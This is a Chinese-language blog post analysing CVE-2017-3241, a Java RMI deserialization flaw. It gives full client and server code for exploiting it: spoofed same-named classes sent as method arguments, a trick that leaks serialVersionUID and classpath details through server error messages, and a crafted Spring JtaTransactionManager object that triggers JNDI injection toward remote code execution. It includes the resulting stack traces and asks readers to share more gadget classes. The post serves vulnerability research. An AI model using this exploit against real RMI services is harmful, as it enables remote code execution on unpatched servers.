Java RMI遠端反序列化任意類及遠端程式碼執行解析(CVE-2017-3241 )
本打算慢慢寫出來的,但前幾天發現國外有研究員發了一篇關於這個CVE的文章,他和我找到的地方很相似。然而不知道是不是Oracle認為是同一個漏洞然後合併了CVE,還是說我找錯了CVE。
總之,先簡單描述一下漏洞:對於任何一個以物件為引數的RMI介面,你都可以發一個自己構建的物件,迫使伺服器端將這個物件按任何一個存在於class path中的可序列化類來反序列化。聽起來可能有點繞,請往下看。
就直接上問題程式碼了。在Java RMI的sun.rmi.server.UnicastRef類中,有如下一段程式碼:
300 protected static Object More ...unmarshalValue(Class<?> type, ObjectInput in )
301 throws IOException, ClassNotFoundException
302 {
303 if (type.isPrimitive()) {
304 if (type == int.class) {
305 return Integer.valueOf(in.readInt());
306 } else if (type == boolean.class) {
307 return Boolean.valueOf(in.readBoolean());
308 } else if (type == byte.class) {
309 return Byte.valueOf(in.readByte());
310 } else if (type == char.class) {
311 return Character.valueOf(in.readChar());
312 } else if (type == short.class) {
313 return Short.valueOf(in.readShort());
314 } else if (type == long.class) {
315 return Long.valueOf(in.readLong());
316 } else if (type == float.class) {
317 return Float.valueOf(in.readFloat());
318 } else if (type == double.class) {
319 return Double.valueOf(in.readDouble());
320 } else {
321 throw new Error("Unrecognized primitive type: " + type);
322 }
323 } else {
324 return in.readObject();
325 }
326 }
看324行,如果你熟悉java反序列化漏洞,看到此你應該就可以激動了。該程式碼直接呼叫readObject,且在原生Java類裡。結合2016 black hat上那個spring-tx.jar或者之前apache common中的類,都可以實現遠端程式碼執行。spring-tx裡的那個我實驗成功了,且Spring rmi中繼承了這個漏洞。但Spring team表示不修,和他們沒關係。。。
其實寫到這,很多技術大牛已經可以自己找出怎麼黑了。下面只是簡單寫寫我如何通過正常Java RMI程式來攻擊的,因為我覺得這招還是比較淫蕩的。
以下是一個正常的伺服器端介面,介面引數為Message物件,Message物件是要被序列化的物件:
public interface Services extends java.rmi.Remote
{
String sendMessage(Message msg) throws RemoteException;
}
public class Message implements Serializable {
private String msg;
public Message()
{
}
public String getMessage() {
System.out.println("Processing message: "+msg);
return msg;
}
public void setMessage(String msg) {
this.msg = msg;
}
/*
* server will tell the serialVersionUID for first run, then just put it below
*/
private final static long serialVersionUID = 1311618551071721443L;
}
伺服器端程式,sendMessage介面實現只是呼叫getMessage列印字串:
public class RMIServer
implements Services {
public RMIServer() throws RemoteException {
}
public static void main(String args[]) throws Exception {
System.out.println("RMI server started");
RMIServer obj = new RMIServer();
try {
Services stub = (Services) UnicastRemoteObject.exportObject(obj,0);
Registry reg;
try {
reg = LocateRegistry.createRegistry(1099);
System.out.println("java RMI registry created.");
} catch(Exception e) {
System.out.println("Using existing registry");
reg = LocateRegistry.getRegistry();
}
reg.rebind("RMIServer", stub);
} catch (RemoteException e) {
e.printStackTrace();
}
}
@Override
public String sendMessage(Message msg) throws RemoteException {
return msg.getMessage();
}
}
假設伺服器端類路徑裡還存在一個PublicKnown類,比如spring或者apache common包裡的某個類:)。這種類大部分情況下會被開發人員會一起打包進專案,但從來不用:
package org.xfei.thirdparty;
public class PublicKnown implements Serializable {
private void readObject(java.io.ObjectInputStream stream)
throws ClassNotFoundException, IOException {
stream.defaultReadObject();
System.out.println("Server object initializing.....");
}
}
如上,該類自己實現了一個readObject方法,用來做XXX事情。。。
以下是正常的客戶端程式碼:
public class RMIClient {
public static void main(String args[]) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1");
Services obj = (Services) registry.lookup("RMIServer");
Message normal = new Message();
normal.setMessage("Hello");
System.out.println(obj.sendMessage(normal));
}
}
輸出我就不放了,就是列印個Hello。
好了,如何攻擊呢?
首先在客戶端程式裡當然要有Message類,而Message類基本應該是公開已知的。然後,雖然Spring tx和Apache common都是開源的,但我們先假設攻擊者不知道原始碼,但知道PublicKnown的類名和包名,於是他在客戶端裡構建如下的一個類:
package org.xfei.thirdparty;
import java.io.IOException;
import java.io.Serializable;
import org.xfei.pojo.Message;
public class PublicKnown extends Message implements Serializable{
private final static long serialVersionUID = 7179259861090880402L;
}
重點是包名,類名必須一致,且繼承Message,serialVersionUID可以先不知道,之後能找出來。
然後改一改客戶端程式:
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import org.xfei.pojo.Message;
import org.xfei.thirdparty.PublicKnown;
public class RMIClient {
public static void main(String args[]) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1");
Services obj = (Services) registry.lookup("RMIServer");
PublicKnown malicious = new PublicKnown();
malicious.setMessage("haha");
System.out.println(obj.sendMessage(malicious));
}
}
伺服器端端的輸出如下(直接從報告裡拷貝過來的截圖):
也就是說,伺服器端在接收到客戶端傳送的物件後會按PublicKnown類來反序列化,然後呼叫PublicKnown的readObject方法。
至此,如何配合Spring-tx.jar裡的那個JtaTransactionManager類實現遠端程式碼執行我想大家也知道了。把JtaTransactionManager原始碼抄一份,讓其繼承Message類或者實現Message實現了的介面(如果有)就行。兩種我都試驗過可行。哦,對了,在JtaTransactionManager中你還需要控制userTransactionName變數的值,直接寫在客戶端程式碼裡就行了,神奇的伺服器端會用客戶端提供的變數值和伺服器端定義的readObject去執行。
還剩最後一個問題,serialVersionUID怎麼得到?在我實驗的時候,第一次發PublicKnown類過去的時候不要包含這個變數,伺服器端會返回一個錯誤資訊給你,錯誤資訊裡會帶有這個值。。。。。。
且根據不同的錯誤資訊,你還可以知道你的目標類是否存在於伺服器的類路徑裡。
雖然Oracle已經發了補丁,但我打賭很多地方是不會升級JDK的。。。。
要是有類似於JtaTransactionManager這種可以配合使用的類,還請大家共享一下呀!
例子1:原理上面說了,補一張專案截圖:
忽略裡面和spring相關的包,那些是為了下面的例子在做準備。這個例子中的程式碼都是拷貝上面我貼的。你還可以在伺服器端的PublicKnown中加個本地變數,並在readObject方法中輸出,然後在客戶端的PublicKnown中加個同樣的變數,賦值,傳到伺服器端,你會看到變數值會在伺服器端被輸出出來。
上面也提到不知道伺服器端的serialVersionUID,但伺服器端會在出現任何異常的情況下把異常資訊返回到客戶端,如下:
例子2:利用JtaTransactionManager進行JNDI注入的例子:
返回到客戶端的部分異常資訊(我懶,沒有掛個物件在8080埠):
Exception in thread "main" org.springframework.transaction.TransactionSystemException: JTA UserTransaction is not available at JNDI location [rmi://127.0.0.1:8080/object]; nested exception is javax.naming.ServiceUnavailableException [Root exception is java.rmi.ConnectException: Connection refused to host: 127.0.0.1; nested exception is:
java.net.ConnectException: Connection refused: connect]
at org.springframework.transaction.jta.JtaTransactionManager.lookupUserTransaction(JtaTransactionManager.java:574)
at org.springframework.transaction.jta.JtaTransactionManager.initUserTransactionAndTransactionManager(JtaTransactionManager.java:448)
at org.springframework.transaction.jta.JtaTransactionManager.readObject(JtaTransactionManager.java:1206)
..................................
at org.xfei.client.RMIClient.main(RMIClient.java:19)
Caused by: javax.naming.ServiceUnavailableException [Root exception is java.rmi.ConnectException: Connection refused to host: 127.0.0.1; nested exception is:
java.net.ConnectException: Connection refused: connect]
at com.sun.jndi.rmi.registry.RegistryContext.lookup(Unknown Source)
at com.sun.jndi.toolkit.url.GenericURLContext.lookup(Unknown Source)
at javax.naming.InitialContext.lookup(Unknown Source)
at org.springframework.jndi.JndiTemplate$1.doInContext(JndiTemplate.java:155)
at org.springframework.jndi.JndiTemplate.execute(JndiTemplate.java:87)
at org.springframework.jndi.JndiTemplate.lookup(JndiTemplate.java:152)
at org.springframework.jndi.JndiTemplate.lookup(JndiTemplate.java:179)
at org.springframework.transaction.jta.JtaTransactionManager.lookupUserTransaction(JtaTransactionManager.java:571)
at org.springframework.transaction.jta.JtaTransactionManager.initUserTransactionAndTransactionManager(JtaTransactionManager.java:448)
.................................................................
Caused by: java.rmi.ConnectException: Connection refused to host: 127.0.0.1; nested exception is:
java.net.ConnectException: Connection refused: connect
at sun.rmi.transport.tcp.TCPEndpoint.newSocket(Unknown Source)
at sun.rmi.transport.tcp.TCPChannel.createConnection(Unknown Source)
at sun.rmi.transport.tcp.TCPChannel.newConnection(Unknown Source)
at sun.rmi.server.UnicastRef.newCall(Unknown Source)
at sun.rmi.registry.RegistryImpl_Stub.lookup(Unknown Source)
... 31 more
Caused by: java.net.ConnectException: Connection refused: connect
at java.net.DualStackPlainSocketImpl.connect0(Native Method)
at java.net.DualStackPlainSocketImpl.socketConnect(Unknown Source)
at java.net.AbstractPlainSocketImpl.doConnect(Unknown Source)
at java.net.AbstractPlainSocketImpl.connectToAddress(Unknown Source)
at java.net.AbstractPlainSocketImpl.connect(Unknown Source)
at java.net.PlainSocketImpl.connect(Unknown Source)
at java.net.SocksSocketImpl.connect(Unknown Source)
at java.net.Socket.connect(Unknown Source)
at java.net.Socket.connect(Unknown Source)
at java.net.Socket.<init>(Unknown Source)
at java.net.Socket.<init>(Unknown Source)
at sun.rmi.transport.proxy.RMIDirectSocketFactory.createSocket(Unknown Source)
at sun.rmi.transport.proxy.RMIMasterSocketFactory.createSocket(Unknown Source)
... 36 more
客戶端的JtaTransactionManager程式碼如下:
package org.springframework.transaction.jta;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.util.List;
import java.util.Properties;
import javax.naming.NamingException;
import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
import org.xfei.pojo.Message;
@SuppressWarnings("serial")
public class JtaTransactionManager extends Message
implements Serializable {
public static final String DEFAULT_USER_TRANSACTION_NAME = "java:comp/UserTransaction";
public final static long serialVersionUID = 4720255569299536580L;
private String userTransactionName;
public void setUserTransactionName(String userTransactionName) {
this.userTransactionName = userTransactionName;
}
}
Message有稍做修改:
package org.xfei.pojo;
import java.io.Serializable;
import org.springframework.transaction.TransactionDefinition;
import org.springframework.transaction.support.AbstractPlatformTransactionManager;
import org.springframework.transaction.support.DefaultTransactionStatus;
public class Message extends AbstractPlatformTransactionManager implements Serializable {
private String msg;
public Message()
{
}
public String getMessage() {
System.out.println("Processing message: "+msg);
return msg;
}
public void setMessage(String msg) {
this.msg = msg;
}
/*
* server will tell the serialVersionUID for first run, then just put it below
*/
private final static long serialVersionUID = 1311618551071721443L;
@Override
protected void doBegin(Object arg0, TransactionDefinition arg1)
{
// TODO Auto-generated method stub
}
@Override
protected void doCommit(DefaultTransactionStatus arg0)
{
// TODO Auto-generated method stub
}
@Override
protected Object doGetTransaction() {
// TODO Auto-generated method stub
return null;
}
@Override
protected void doRollback(DefaultTransactionStatus arg0)
{
// TODO Auto-generated method stub
}
}
我以前的例子是在Spring RMI中測試的,做起來比這個順利多了。這次是單獨建Java專案測試。。。。
需要主意以下幾點:
1,當你把假的JtaTransactionManager物件發到伺服器端的時候,伺服器端其實也要各種初始化,所以會依賴到各種Spring的包,還有一個Apapche common的logger以及jta包。所以伺服器端不是單有個Spring-tx.jar就能成功攻擊的,但Spring專案裡這幾個依賴包出現的機率比spring-tx.jar高得多。
2,客戶端編譯的時候似乎也依賴幾個類,我直接把所有spring jar包都放進去了。
3,看到截圖,有的小夥伴可能會質疑這個是客戶端編譯的錯誤。其實我剛執行出來的時候也這麼質疑的。。。但這其實是伺服器端發過來的異常資訊。
首先,initUserTransactionAndTransactionManager是被呼叫了的.。這個方法只會是在readObject中被呼叫,客戶端哪裡有呼叫readObject?
其次,客戶端JtaTransactionManager程式碼我是改過的,根本沒有相關程式碼。
最後,客戶端jar包裡的JtaTransactionManager類我已經刪了: